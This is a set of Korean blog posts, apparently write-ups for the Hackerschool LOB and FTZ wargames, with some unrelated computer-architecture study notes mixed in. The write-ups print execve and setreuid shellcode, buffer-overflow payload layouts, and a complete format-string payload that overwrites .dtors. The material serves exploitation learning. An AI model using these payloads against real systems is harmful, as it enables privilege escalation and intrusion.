coblot를 열어봤습니다 .처음 문제와는달리 버퍼에 16 밖에 크기가 할당이 안됬네요 

제가 사용하던 25byte쉘코드로는 택도 없겠습니다.

처음에는 환경변수를 이용해서 문제를 푸려고 생각햇으나 그러기엔 너무 실력이 안늘거같아서 다른 방법을 생각해봤습니다 .argv[1]에는 16이라는 한도가잇지만 
argv[2]에는 한도가 없을거같습니다.. 테스트를 해봐야겠군요 


argv[1]은 30이 넘어가니 Segmentation fault가 뜨네요! 
그럼 이번에는 argv[2]를 실험해보겠습니다 


Segmentation fault가 안뜨네요 제대로 테스트한것인지 gdb를 통해 봐봅시다


gate와 비슷해서 자세한 설명은 생략하겠습니다

main +3에서 16이 할당됫고  main +10 ~ main +32까지 if문 
main +35~48 까지 인자값에 대하여 적혀있네요 
대략적인 스택의 구조는 
argv[1]
argv[0]
argc
ret[4]
sfp[4]
buffer[16] 
더미값이 없으니 대략 이정도로 구성이 되어잇겠습니다 

gate문제와 마찬가지고 strcpy실행 직후인 main +53에 브포를 걸고 해보겠습니다


 이렇게 넣으면 정상적으로 값이 들어가지않네요 위에서 cobolt에게 집어넣었던 방법은 잘못된 방법이였습니다 

이러한식으로 두번 넣어줫더니 값이 들어가네요 b는 16진수로 62기때문에 정상적으로 들어간것을 알 수 있습니다 .
또한 0xbffffae0 에서 0x400309cb 부분이 ret값입니다 

그러면 페이로드를 짜보겠습니다 

argv[1]로는 쉘코드를 다 넣어줄수가 없는거 아시겠죠 ? 그렇다면 제한이 없는 argv[2]를 이용해야겠습니다 
쉘코드를 argv[2]에 넣어준뒤 argv[1]에서 오버플로우를 일으켜서 덮어줄 리턴주소를 argv[2]로 변경해주면 쉘코드가 실행되겟죠 ? 


성공했습니다 ! cobolt의 권한을 가져왓군요 
gdb를 통해 어떠한 변화가 잇었는지 한번 봐보도록 하겠습니다 


리턴값이 저렇게 변해있네요 어떠한 값인지는 더 알아보고 추가로 포스팅 하겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB goblin  (0) 2016.05.01
LOB cobolt  (0) 2016.04.30
LOB gate  (0) 2016.04.30


LOB에 들어가기전 shell을 bash2로 바꾸셔야합니다
단순히 입력창에 bash2를 입력하면 shell이 bash2로 변경됩니다.
(*도움얻은 글 iostreamcpp님의 티스토리)
Redhat Liunx 6.2는 bash의 버전이 기본적으로 1.14버전입니다 
하지만 1.14 버전은 0xff를 인식하지 못하는 버그를 가지고 잇기때문에 0xff가 0x00과 같은 역할을 하게됩니다.
중간에 0xff가 들어가게 되면 문자열이 복사되는 strcpy를 하면서 문자열이 중간에 잘려버리게 됩니다.
따라서 bash2는 이 버그를 고친 2.3버전이기때문에 bash2를 사용해야지 정상적으로 lob를 풀어나가실 수 있습니다 .
이 글을 쓰는 저도 이러한 버그를 몰라서 5~6시간동안 미련맞게 끙끙 거린거같습니다.. 

gate의 코드 소스입니다 . 문제들 이름이 그렘린 골렘등등 던전 몬스터처럼 특이하군요! 뭔가 클리어 하는 맛이 보람찰거같습니다.

간단하게 보면 입력을 받은후 버퍼변수에 복사를 하고 버퍼 변수를 출력하네요

그리고 이 해당코드를 그대로 gdb로 디버깅을 하려고 하면 권한문제가 생기기때문에
tmp로 해당코드를 복사해와서 컴파일 후 시도했습니다.


<main> push %ebp
<main+1> mov %ebp , %esp
<main+3> sub %esp , 0x100

- main의 스택프레임을 설정하고 buffer[256] 만큼 할당합니다

<main+9> cmp DWORD PTR [%ebp+8] ,1
cmp [ 인자 2개를 비교한다 ] %ebp+8 [ argc ] 와 1을 비교한다
<main+13> jg 0x8048456 <main+38>    
cmp가 등장할시 jg jmp 같은 어셈블리어들이 항상 등장한다.<main+9>에서 argc가  1보다 클 경우에 <main+38>로 점프한다.  
<main+15> push 0x80484e0             
           0x80484e0을 넣는다 [ 0x80484e0을 찾아보면 stdin 인것을 알 수 있다.]
<main+20> call 0x8048350 <printf>        
printf 함수를 호출한다.
<main+25> add %esp,4       
esp+4를 한다
<main+28> push 0      
0을 집어넣는다
<main+30> call 0x8048360 <exit>
exit함수를 호출한다.

여기까지가 이 부분이였습니다

<main+35> %esp , 4
esp+4를 한다 
<main+38> mov %eax,DWORD PTR [%ebp+12]
eax에 ebp+12 의 주소값을 담습니다. 
<main+41> add %eax 4
ebp+12 지점에서 4를 더한 주소 값을 eax에 저장합니다
<main+44> mov %edx,DWORD PTR [%eax]
edx에 ebp+16지점의 주소값을 저장합니다
<main+46> push %edx
edx를 스택에 넣습니다.
<main+47> lea %eax , [%ebp-256]
eax에 [%ebp-256]의 주소값을 저장합니다
<main+53> push %eax
eax를 스택에 넣습니다
<main+54> call 0x8048370 <strcpy>
strcpy 함수를 호출합니다
<main+59> add %esp,8]
esp에 8을 더합니다
<main+62> lea %eax , [%ebp-256]
eax에 [%ebp-256]의 주소값을 저장합니다
<main+68> push %eax
eax를 스택에 넣습니다 
<main+69> push 0x80484ec
stdin을 스택에 넣습니다
<main+74> call 0x8048350 <printf>
printf 함수를 호출합니다
<main+79> %esp , 8 
esp에 8을 더해줍니다 

[알 수 있는 사실 : printf같은 함수를 호출하기 위해서는 stdin을 먼저 push해줘야 합니다! , esp에서 0x100을 sub 해줌으로써 공간을 256 만큼 할당받았습니다. 고로 add를 해주는것은 함수를 사용하기 위해서 공간을 사용하는겁니다

gdb로 풀어보았습니다 .

main+3 = 0x100 = 256이 할당되네요 음 그리고 ftz와는 달리 현재 gate에서는 
dummy값이 보이지 않는거같습니다  바로 ebp-256지점에 strcpy를 해버리네요 

그렇다면 예상되는 현재 스택으로는 
buf[256] sfp[4] ret[4] 이렇게 되잇겠네요 .

 

strcpy가 실행되고 난 직후인 main+59에 브레이크를 걸어줬습니다.
그 후에 A를 260개만큼 집어넣었습니다 0xbffffa70지점 맨끝에 0x40030900이 보이네요 저 주소가 ret값이라고 예상할 수 있습니다 . 뜬금없지만 귀엽습니다..
그럼 아까 예상되는 스택크기로 공격을 해보겠습니다 .
제가 이용한 쉘코드는

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
입니다 .25byte이구요 .

그렇다면 buf[260](A+쉘코드25byte)+쉘코드를 넣을 버퍼의 주소(ret[4]에 해당)
이런식으로 넣어보겠습니다 


쉘코드를 버퍼 내부에 넣어주기 위해 적절하게 100 + 25(쉘코드) +135 +버퍼의 적절한 주소 를 넣어줬습니다 
ret의 주소가 0x4000f9b0으로 바뀌어있네요 저게 정확히는 무슨의미인지는 아직 제 실력으로는 모르겠습니다 배우고싶습니다 아시는분은 알려주시면 감사하겠습니다 .

저 공격 코드로 그렘린을 괴롭혀보겠습니다 


어라라라라라라라라 같은 코드를 넣어놨더니 Illegal instruction이 뜨네요 




그래서 넣어주는 주소를 0xbfff9b0에서 0xbffff940 으로 바꿔주었더니 풀어지네요 
여기서 그냥 넘어가면 실력이 안늘거같습니다 어떠한 차이가 잇나 확인해보기 위해서 gdb를 통해 다시 디버깅 해보겠습니다 


아까는 0x4000f9b0 이였는데 0x4000f940이 되어있네요 ?

--------너무 복잡하게 생각하고 잇었습니다 단순히 제가 넣은 값에 따라RET가 변경된거였습니다 너무 겁 먹고 뭔가 엄청난 법칙에 의해서 바뀌는줄 알았습니다...-_-
또한 4000은 bash 오류라고 합니다 ..!

'해커스쿨 lob' 카테고리의 다른 글

LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB goblin  (0) 2016.05.01
LOB cobolt  (0) 2016.04.30
LOB gremlin  (0) 2016.04.30

컴퓨터가 받아들이고 처리하는 정보의 종류로는 프로그램 코드와 데이터가 존재한다 

디지털 컴퓨터에서 그러한 정보들은 모두 2진수를 나타내는 비트들의 조합으로 표현된다.

c와같은 언어들로 작성된 프로그램은 사람이 이해하기는 간단하지만 컴퓨터 하드웨어의 입장에서는 전혀 이해를 못한다. 그러하기 때문에 컴파일러 라고 불리우는 소프트웨어를 이용해 하드웨어가 이해할 수 있는 언어로 번역한다.

컴퓨터의 하드웨어가 이해할 수 있는 언어를 "기계어 , 기계코드" 라고 부른다.

기계어는 CPU마다 서로 다르다.
이러한 문제를 어셈블리 언어( 고급언어와 기계어 사이에 존재한다 )를 이용해 언어상의 차이를 해결한다 .

고급언어 프로그램 ---> 어셈블리 프로그램 ---> 기계어 프로그램 
ex)  Z = X + Y             LOAD  A, X               00100101
                                ADD  A, Y               10000110
                               STOR  Z, A               01000111

LOAD A, X : 기억장치 X번지의 내용을 읽어서 레지스터 A에 적재(LOAD)하라 
ADD  A, Y : 기억장치 Y번지의 내용을 읽어서 레지스터 A에 적재된 값과 더하고 결과를 레지스터 A에 적재하라.
STOR Z, A : 레지스터 A의 내용을 기억장치 Z번지에 저장(STORE) 하라.

LOAD, ADD, STOR같은 기호를 니모닉스 라고 부른다.

명령어는 CPU가 수행해야 할 동작뿐만 아니라 처리할 데이터가 저장되어 있는 기억장치 주소나 레지스터 번호도 구제적으로 지정해준다.
이와 같은 명령어들은 CPU의 내부 구조와 밀접한 관계가 잇기때문에 어셈블리를 사용하는 프로그래머는 컴퓨터의 내부 구조를 알고 있어야 한다 . 

컴파일의 마지막 결과인 기계어 프로그램은 2진수인 1과 0들의 조합으로 이루어져있다 .
예시를 위해서 LOAD A, X명령어에 대한 기계어의 예를 들어보겠다 

                          연산코드          오퍼랜드 
                            0 0 1            0 0 1 0 1
연산코드 필드(op code field)에 저장된 001은 '레지스터 A로 적재하라'는 연산을 지정해주는 비트이다 . 
오퍼랜드 필드(operand field)의 00101은 적재될 데이터가 저장되어 있는 기억장치 주소를 가리킨다.
위의 기계어 에서는 오퍼랜드가 5번지를 가리키고 있기때문에 "기억장치 5번지의 내용을 읽어서 레지스터 A에 저장하라"라는 명령을 나타내고 있다.

연산코드의 비트가 세 비트들로 이루어져있다면 2³ = 8가지의 연산들을 지정할 수 있다.(지수 쓰는법 찾는거 귀찮았다..-_-)
마찬가지로 오퍼랜드는 비트들의 수가 5개 이므로 2의 5승 = 32 즉 기억 장소들의 최대 수가 32개가 되는것이다 .
이와 같은 비트들의 구성을 명령어 형식이라고 한다 .

[전체 시스템의 구성] 

프로그램 실행 : CPU가 주기억장치로부터 프로그램 코드를 읽어서 실행한다.
데이터 저장 : 프로그램 실행 결과로서 얻어진 데이터를 주기억장치에 저장한다.
데이터 이동 : 디스크나 CD-ROM에 저장되어 있는 프로그램과 데이터 블록을 주기억장치로 이동한다.
데이터 입력 및 출력 : 사용자가 키보드를 통하여 보내는 명령이나 데이터를 읽어 들인다. 또한 CPU가 처리한 결과 값이나 기억장치의 내용을 프린터(혹은 모니터)로 출력한다.
제어 : 프로그램이 순서대로 실행되도록 혹은 필요에 따라 실행 순서를 변경 하도록 조정하며 , 각종 제어 신호들을 발생한다 .

IAS 컴퓨터 

1952년, 폰 노이만이 개발하였으며 stored-program 컴퓨터이다
2진수 체계를 이용하고 프로그램과 데이터를 내부에 저장한다.
주요 구성요소 : 프로그램 제어 유니트(Program Control Unit): 명령어


인출/해독
산술논리연산장치(ALU)
주기억장치 : 명령어와 데이터를 모두 저장
입출력 장치 

폰노이만 아키텍처(von Neumann Architecture) : 폰노이만이 제안한 컴퓨터구조 설계 개념으로서 기억장치에 저장된 프로그램을 프로그램 카운터( CPU의 내부 레지스터) 가 지정하는 순서대로 실행시킨다 . 

CPU는 산술논리연산장치 (ALU라고 표현한다) 와 레지스터 세트 및 제어 유니트로 구성되어있다 . 

[CPU 내부 레지스터]

-프로그램 카운터(PC) : 다음에 인출될 명령어의 주소를 가지고 있는 레지스터이다 . 각 명령어가 인출된 후에는 그 내용이 자동적으로 1(혹은 명령어 길이에 해당하는 주소 단위의 수만큼)이 증가되며 , 분기 (branch) 명령어가 실행되는 경우에는 그 목적지 주소로 갱신된다 . 

뉴산기 :(Accumlator: AC) :데이터를 일시적으로 저장하는 레지스터이다. 이 레지스터의 비트 수는 CPU가 한 번에 연산 처리할 수 있는 데이터 비트의 수 즉 단어 길이와 같다.

명령어 레지스터(Instruction Register: IR): 가장 최근에 인출된 명령어가 저장되어 있는 레지스터이다 .

기억장치 주소 레지스터(Memory Address Register : MAR) : 프로그램 카운터(PC)에 저장된 명령어 주소가 시스템 주소 버스로 출력되기 전에 일시적으로 저장되는 주소 레지스터이다 . 즉, 이 레지스터의 출력 선들이 주소 버스 선들과 직접 접속된다 .

기억장치 버퍼 레지스터 (Memory Buffer Register : MBR) : 기억장치에 저장될 데이터 혹은 기억장치로부터 읽혀진 데이터가 일시적으로 저장되는 버퍼 레지스터이다 . 이 레지스터의 입력 및 출력 선들은 데이터 버스 선들과 직접 접속된다.

[ADD의 실행 사이클] 
ADD addr 명령어의 마이크로-연산이다 
t0 :  MAR <-- IR(addr)
t1 : MBR <-- M[MAR]
t2 : AC <-- AC + MBR

첫번째의 주기(T0) 동안에 명령어의 오퍼랜드(addr)를 주소버스를 통하여 기억장치로 보낸다

 두번째 주기에서 해당 기억 장소로부터 데이터를 인출하여 MBR에 적재한다. 

세번째 주기에서 그 데이터와 AC 레지스터의 내용을 더한 후에 결과값을 다시 AC 레지스터에 저장합니다 


[주의 이 그림에서 T0 T1 T2는 옳바르지 않으므로 위에 써놓은 경로를 생각하며 그림을 봐주세요 ]

오퍼랜드 : 연산을 수행하는 데 필요한 데이터 혹은 데이터의 주소를 나타낸다. 


ADD X  ; AC<-- AC + M[X]

여기서 X는 데이터가 저장되어 있는 기억장치 주소를 나타낸다 .
뜻 : 기억장치 X 번지의 내용과 누산기(AC)의 내용을 더하고 , 그 결과를 다시 AC에 저장하라는 명령어이다 .

이와 같이 한 개의 오퍼랜드 (ADD [X] < X가 오퍼랜드)만 포함하는 것을 1-주소 명령어라고 한다 .

문제 예제 1) 길이가 16비트인 1-주소 명령어에서 연산 코드가 5비트일 때의 명령어 형식을 정의하고, 주소지정 가능한 기억장치 용량을 결정하라. 단, 주소가 지정되는 각 기억 장소에는 한 바이트씩 저장된다고 가정한다.
(A) 방식 명령어 형식
     5                  11
연산코드       기억장치 주소
(B) 주소지정 가능한 기억장치 용량 2^11 = 2048바이트

ADD R1,R2 ; R1<--R1 + R2

뜻 : R1과R2 내용을 더하고 결과 레지스터 R1에 저장한다.
이와 같이 입력 데이터가 저장된 레지스터들 중의 하나에 연산의 결과값에 저장한다면 명령어에는 두 개의 오퍼랜드 필드만 존재하면되는데 이와 같은 명령어를 2-주소 명령어라고 한다 . 이 경우에 결과값이 저장되는 레지스터의 원래 내용은 지워진다.

문제 예제 2) 주소 명령어 형식을 사용하는 16-비트 CPU에서 연산 코드가 5비트이고 레지스터의 수는 8개이다 . 
(a) 두 개의 오퍼랜드들이 모두 레지스터 번호인 경우
(b) 오퍼랜드들 중의 하나는 기억장치 주소인 경우의 명령어 형식
(a) , (b)를 각각 정의하라 

풀이 - 16개의 명령어 비트들 중에서 연산 코드로 사용되는 5개를 제외하면, 오퍼랜드로 사용될 수 있는 비트로는 11개가 남게 된다. (a)의 경우에는 그림 [2-주소 명령어의 형식들(A)] 에서 보는 바와 같이 두 개의 레지스터 번호를 가리키기 위하여 각각 3비트씩 배정하면 마지막 5비트는 사용되지 않는다.
(b)의 경우에는 그림[2-주소 명령어의 형식들(B)]와 같이 기억장치 주소를 위하여 8비트가 배정될 수 있다.



ADD R1,R2,R3 ; R1<--R2+R3

이 명령어는 세 개의 오퍼랜드를 포함한다. 

ADD의 연산 코드를 0101이라고 가정한다 

예를 들어 명령어의 길이가 16비트라고 하면 각 필드의 각각 4비트씩 할당 할 수 있으므로 최대 16개의 레지스터들이 각 오퍼랜드를 저장하는 데 사용될 수 있다.



                                     [주소지정 방식]  

주소지정방식 = 주소 비트들을 이용하여 오퍼랜드의 유효 주소를 결정 하는 방법

명령어의 길이가 늘어나면 오퍼랜드 필드의 수와 각 필드의 비트 수가 증가될 수 있다.
일반적으로 명령어 비트의 수는 CPU가 처리하는 단어의 길이와 같도록 제한된다.
EA : 유효 주소 , 데이터가 저장된 기억장치의 실제 주소 
A  : 명령어 내의 주소 필드 내용 ( 오퍼랜드가 기억장치 주소인 경우)
R  : 명령어 내의 레지스터 번호 ( 오퍼랜드가 레지스터 번호인 경우 )
(A) : 기억장치 A번지의 내용
(R) : 레지스터 R의 내용

직접 주소지정 방식


명령어 내 오퍼랜드 필드의 내용이 데이터의 유효 주소로 사용되는 가장 간단한 방법.

장점 : 데이터 인출을 위하여 한번의 기억장치 액세스만 필요함
단점 : 연산 코드를 제외하고 남은 비트들만 주소 비트로 사용될 수 있기 때문에 직접 지정할 수 있는 기억장소의 수 제한

간접 주소지정 방식 


오퍼랜드 필드에 기억장치 주소가 저장되어 잇지만 , 그 주소가 가리키는 기억 장소에 데이터의 유효 주소를 저장해두는 방식이다 .

장점 : 최대 기억장치용량이 단어의 길이에 의하여 결정
-> 주소지정 가능한 기억장치 용량 확장
단어 길이가 N비트라면 최대 2ⁿ개의 기억 장소 주소지정이 가능    

단점 : 실행 사이클 동안에 두 번의 기억장치 액세스가 필요
첫 번째 엑세스 : 주소 인출
두 번째 엑세스 : 그 주소가 지정하는 기억 장소로부터 실제 데이터 인출


간접 비트가 포함된 명령어 형식
명령어 형식에 간접비트 (i)가 필요하고 
만약 I = 0 이면 , 직접 주소지정 방식이고 
만약 I = 1 이면 , 간접 주소지정 방식이다 .

                           즉시 주소지정 방식 
데이터가 명령어에 포함되어 있는 방식 ( 오퍼랜드 필드의 내용이 연산에 사용할 실제 데이터 )

용도 - 프로그램에서 레지스터나 변수의 초기 값을 어떤 상수값(constant value)로 세트하는데 사용된다
장점 - 데이터를 인출하기 위하여 기억장치를 액세스할 필요가 없음 
단점 - 상수값의 크기가 오퍼랜드 필드의 비트 수에 의해 제한된다 .

                            레지스터 주소지정 방식

명령어의 오퍼랜드가 가리키는 레지스터에 저장되어 있는 데이터를 연산에 사용하는 방식 
                                     EA = R 

주소지정에 사용될 수 있는 레지스터들의 수 = 2ⁿ (단 N은 R 필드의 비트 수 )
장점 = 오퍼랜드 필드의 비트 수가 적어도된다.
      = 데이터 인출을 위하여 기억장치 액세스가 필요 없다

단점 = 데이터가 저장될 수 있는 공간이 CPU 내부 레지스터들로 제한되어있다.

                              레지스터 간접 주소지정 방식

오퍼랜드 필드(레지스터 번호)가 가리키는 레지스터의 내용을 유효 주소로 사용하여 실제 데이터를 인출하는 방식 EA = (R)

장점 : 주소지정 할 수 있는 기억장치 영역이 확장 

레지스터의 길이 = 16 비트라면, 주소지정 영역 : 2^16 = 64K 바이트
레지스터의 길이 = 32 비트라면, 주소지정 영역 : 2^32 = 4G 바이트

                              상대 주소지정 방식

프로그램 카운터(PC)를 레지스터로 사용 (주로 분기 명령어에서 사용)
EA = A+(PC) 단, A는 2의 보수
A > 0 : 앞(forward) 방향으로 분기 
A < 0 : 뒷(backward) 방향으로 분기 

장점 : 전체 기억장치 주소가 명령어에 포함되어야 하는 일반적인 분기 명령어보다 적은 수의 비트만 있으면 된다 .
단점 : 분기 범위가 오퍼랜드 필드의 길이에 의해 제한된다.

                                   인덱스 주소지정 방식
인덱스 레지스터(IX) : 인덱스 값을 저장하는 특수 레지스터 
인덱스 레지스터의 내용과 변위 A를 더하여 유효 주소를 결정 EA =(IX) + A
주요 용도 : 배열 데이터 액세스 

자동 인덱싱
명령어가 실행될 때마다 인덱스 레지스터의 내용이 자동적으로 증가 혹은 감소
이 방식이 사용된 명령어가 실행되면 아래의 두 연산이 연속적으로 수행됨
EA(IX) + A IX < IX +1 

[예]
데이터 배열이 기억장치의 500번지부터 저장되어 있고 , 명령어의 주소 필드에 
'500'이 포함되어 있을 때  , 인덱스 레지스터의 내용 (IX) = 3 이라면 >데이터 배열의 4 번째 데이터 액세스 


논리 연산을 위한 하드웨어 모듈


입력 비트들은 모든 논리 게이트들을 통과

선택 신호들에 의하여 멀티플렉서의 네 입력들 중의 하나를 출력


4-비트 논리 연산장치 


논리 묘듈을 병렬로 접속

순환 시프트(circular shift)

회전(rotate)이라고도 부르며, 최상위 혹은 최하위에 있는 비트를 버리지 않고 반대편끝에 있는 비트 위치로 이동

 순환 좌측-시프트(circular shift- left) 

 최상위 비트인 A4가 최하위 비트 위치인 A1으로 이동

부호 없는 2진수 곱셈기의 구성도

M 레지스터 : 피승수(multiplicand) 저 장 

Q 레지스터 : 승수(multiplier) 저장 

두 배 길이의 결과값은 A 레지스터와 Q 레지스터에 저장


                                    Booth 알고리즘

하드웨어 구성 -부호 없는 정수 승산기의 하드 웨어에 다음 부분을 추가 

M 레지스터와 병렬 가산기 사이 에 보수기(complementer) 추가 

Q 레지스터의 우측에 Q-1 이라 고 부르는 1-비트 레지스터를 추가하고, 출력을 Q0와 함께 제어 회로로 입력 Q 레지스터가 우측 시프트 될 때 Q0 비트가 이 레지스터에 저장된다.


예 ] Booth 알고리즘을 이용하여 2진수 곱셈 {(-7)x3}을 수행하라 .

M레지스터에 피승수 -7에 대한 2의 보수 표현인 '1001'을 저장하고 승수 '0011'은 Q 레지스터에 저장한다. 4- 비트 데이터들 간의 곱셈이므로 계수(n)은 4로 세트하고 ,Q_1은 0으로 초기화 한 다음에, 그림 3-14의 알고리즘에 따라 아래와 같은 연산들을 순차적으로 수행하면 된다.


부동소수점 수의 표현

부동소수점 표현(floating-point representation) : 소수점의 위치를 이동시킬 수 있는 수 표현 방법  ---> 수 표현 범위 확대 

부동소수점 수(floating-point number)의 일반적인 형태 N = (-1)^S M × B^E

단, S : 부호(sign), M : 가수(mantissa), B : 기수(base), E : 지수(exponent) 

 10진 부동소수점 수(decimal floating-point number)

 [예] 274,000,000,000,000 ---> 2.74 ⅹ10^14 

0.00000000000274 ---> 2.74 ⅹ10^-12 

2진 부동소수점 수(binary floating-point number) 

기수 B = 2 

단일-정밀도(single-precision) 부동소수점 수 : 32 비트 

복수-정밀도(double-precision) 부동소수점 수 : 64 비트



대망의 마지막 문제의 힌트입니다.


bleh이라는 이름의 크기로 버퍼가 80의 크기로 주어져있네요 
fgets란 함수로 문자열을 입력받지만 79의 크기로 제한을 한 보안 코딩이 되어있네요
버퍼 오버플로우는 사실상 힘들거같습니다(제 짧은 지식상..)


setreuid로 다음 레벨의 권한을 얻을 수 있을거같습니다만 쉘을 실행시키는 명령어가 없으므로 쉘 코드가 필요한것을 알 수 잇겠습니다 


헌데 printf(bleh) 어디서 많이 본 친구 아닌가요 ?
바로 LEVEL11에서 만나본 포맷스트링버그를 이용해보면 될거같습니다

포맷 스트링 버그에 대해서 제가 공부한 지식으로 짧게나마 설명 해 보겠습니다 .
이 문서 저 문서 한번쯤 휙휙 본 지식이기에 출처를 적을 수가 없는점 양해부탁드립니다.

포맷스트링버그는 프로그래머의 작은 실수로 일어나는 해킹기법입니다 
보통 printf 함수를 사용할때는 printf("%d",i); 이런 방법과 저 코드처럼 printf(bleh); 아예 배열을 printf에 넣어버리는 방법이 존재합니다 .

허나 후자의 경우에는 문제점이 존재합니다 bleh안에 "서식문자"가 존재하는 경우에 문제가 발생하게 됩니다 .
bleh을 출력하다가 %d와 같은 서식문자를 만나게되면 출력해야 하는 문자열이 아닌 서식문자로 인식을해버리는 곳에서 문제가 발생하게됩니다.

서식문자를 만나면 메모리의 다음 4바이트를 출력 해버리는 현상이 발생합니다.
만약에 해당 코드에 AAAA%x를 입력하게 되면 뭐가 나오게 될까요 ?

level20은 심볼을 다 날려버려서 gdb도 안열려서 스택을 확실히 알 방법이 제 현재 지식으로는 없네요 ..대충 예상이라도 해봅시다 

print(bleh)          ----낮은 주소 

fgets

setreuid

bleh[80]

dummy

sfb

ret                   ----높은 주소 

AAAA%x를 입력하면 현재 esp위치에서 (print(bleh)) 4바이트 증가한 메모리의 내용을 16진수로 출력하는것인데 
AAAA가 증가햇으니 0x41414141이 출력되야 하는것이 정상이겠지요 

근데 4f가 나오네요 ? bleh[80]이 제대로 읽히지 않은것을 보아하니
print(bleh) bleh[80] 사이에 값들이 추가적으로 존재하는것을 예상할 수 있습니다 

그렇다면 서식문자를 몇개 넣어줘야지 bleh[80]에서 제대로 값을 읽어오나 봐보겠습니다.


서식문자를 네번 써주니 41414141이 제대로 출력되는것을 볼 수 있습니다 .

스택상의 거리는 4개라고 생각할 수 있습니다 .(dummy가 12BYTE라고 예상가능)

서식문자 %n에 대하여 적어보겠습니다.

%n은 다른 서식문자들과는 다른 역할을 합니다
%n이 나오기 전에 출력된 자릿수를 계산한 후 스택의 다음 4바이트에 있는 내용을 주소로 생각하고 그 주소에 계산햇던 자릿수를 입력합니다.

예를 들어서 %10000c%n이라고 표현을 한다면 10000이라는 숫자를 넣을 수 있습니다.
ret 주소에 쉘 코드의 주소를 넣을 수 있다는 뜻입니다 .


여기서 %임의정수c를 이용하면 %n이 인식하는 자릿수를 입맛대로 정할 수 있게됩니다.
근데 저 %임의정수c에도 %c라는 서식문자가 존재하기 때문에 4바이트도 함께 입력을 해주어야합니다 .

이제 쉘코드의 주소를 입력해볼겁니다
헌데 일반적인 시스템에서는 너무 큰 숫자는 지정할 수 없으니 10진수로 바꿔서 입력을 하되 4바이트 (12345678) 를 2바이트씩 (1234/5678)로 나누어서 입력합니다.
ret주소를 구해야 하는데 gdb가 심볼이 날라가서 안열리는군요 ?
그렇다면 LEVEL11에서 적어놨던 .dtors를 이용합시다!

.dtors = main 함수가 끝난 후 실행을 하는 명령이 존재 하는 곳

자 여기에 쉘코드를 덮어 써서 실행을 시키면 될거같습니다 

.dtors주소를 알아보겠습니다!



08049594 네요 여기서 이제 +4 즉 08049598을 하면 ret값입니다!

ret주소에는 08049598에 쉘 주소의 절반(2바이트)를 입력하고 
2바이트가 증가한 0804959a에 쉘 주소의 나머지 절반을 입력해줍니다 . 

내킨김에 쉘 주소도 에그를 이용해서 구해봅시다 




0xbffff2cb가 나왔습니다 .

아까 위해서 설명했던거처럼 쉘코드의 주소를 2바이트씩 나누고 10진수로 바꿔서 입력을 해봅시다 .

bfff / f2cb 

f2cb = 62125

bfff = 49151 

자 그럼 여기까지 구한 정보로만 페이로드를 짜보겠습니다 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62125c%n%49151c%n 이 되겠네요 

여기서 8x란 쉘코드가 들어갈 ret의 주소가 bleh내에 존재하기 떄문에 esp를 bleh문까지 넘기기 위함이며 굳이 %8x를 쓰는경우는 8바이트를 정확히 출력하기 위하여 입니다 

허나 이대로만 하면 권한을 취득할 수가 없습니다 무엇이 문제냐 하면

아까 %n은 자신이 나오기 전의 모든 자릿수를 계산한다고 드렸습니다 그렇다면 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x

4 + 4+ 4+ 4 +8 + 8+ 8  = 16 + 24 = 40 

40 바이트를 계산하겠네요 그렇다면 아까 구한 62125에서 40을 빼면 

62085겟네요 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62085c%n%49151c%n

근데 이렇게 해도 실패합니다 또 뭐가문제냐 하면 

%n이 뒤에 하나 더잇네요 49151 부분에 말이죠 앞에 자릿수를 모두 계산한 값이

아까 40을 뺏던 62805입니다 근데 49151에서 62125를 빼면 음수가 되버리네요 ?

bfff : 49151 에서 앞에 1을 붙이면 1bfff : 114687이 나옵니다 

이렇게 나온114687에서 62125를 빼면 52562가 나오네요 

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62085c%n%52562c%n 최종으로 이렇게 나왔습니다 .

.(대충 값 정리)
dummy | .dtors Address(1) | dummy | .dtors Address(2) | %08x | %08x | %08x |
%shell(1)c | %n | %sheel(2)c | %n


clear했습니다 




수고하셨습니다 이해가 안되시는 점이나 궁금하신점은 질문 주시면 제가 알고잇는 지식이나 직접 알아봐서 알려드리겠습니다

p.s ( AAAA는 제 생각에는 더미값이라 생각되어서 반드시 넣어줘야 한다고 생각하는데 안넣어줘도 된다는 의견이 존재하는데 혹여나 이러한식으로 푸신분이 계시면 페이로드좀 보여주시면 감사하겠습니다 


'해커스쿨 ftz' 카테고리의 다른 글

FTZ - level19 Chaining RTL  (1) 2016.06.12
FTZ 정리  (0) 2016.05.22
FTZ-LEVEL19  (0) 2016.04.25
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24


저번 난이도를 보고 더 긴 코드를 기대했더니 이게 웬가 엄청 짧은코드다!
근데 권한을 할당하는 소스가 안들어있다.
이번 문제는 바로 권한을 얻어야 하는 문제이다 ! 

먼저 gdb로 풀어서 봐보자!


0x28[40]만큼 할당되어있다 sfp까지 덮는걸 생각해서
44만큼 값을 줘야할거같다.
그럼 대충 공격코드는 44 + 권한을 얻는 setuid코드가 되겠다.
자 여기서 이제 레벨 20의 권한을 얻는 코드를 어떻게 얻느냐 ..
RTL 기법을 써도 권한을 얻는 코드가 없으면 쉘이 따여도 얻어지지않는다 
나는 에그쉘을 이용해서 편하게(?) 진행해보도록하겠다.
[중간에 ROOT 권한 문제로 두시간가량을 소비했다 -_-]

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"

기존에 이용하던 에그쉘에 해당 코드를 추가해준다


쉘을 따는 주소가 나왔다


LEVEL 20의 권한이 할당되었다.

사실 힌트만 봣을때는 금방 풀줄 알았는데 이것저것 많은 오류가 생겨서 힘들었다..    -_-

'해커스쿨 ftz' 카테고리의 다른 글

FTZ 정리  (0) 2016.05.22
FTZ-LEVEL20  (0) 2016.04.26
FTZ-LEVEL18  (0) 2016.04.24
FTZ-LEVEL17  (0) 2016.04.24
FTZ-LEVEL16  (0) 2016.04.24


이번 힌트는 코드가 무지하게 길더라구요 열자마자 놀랫습니다-_-
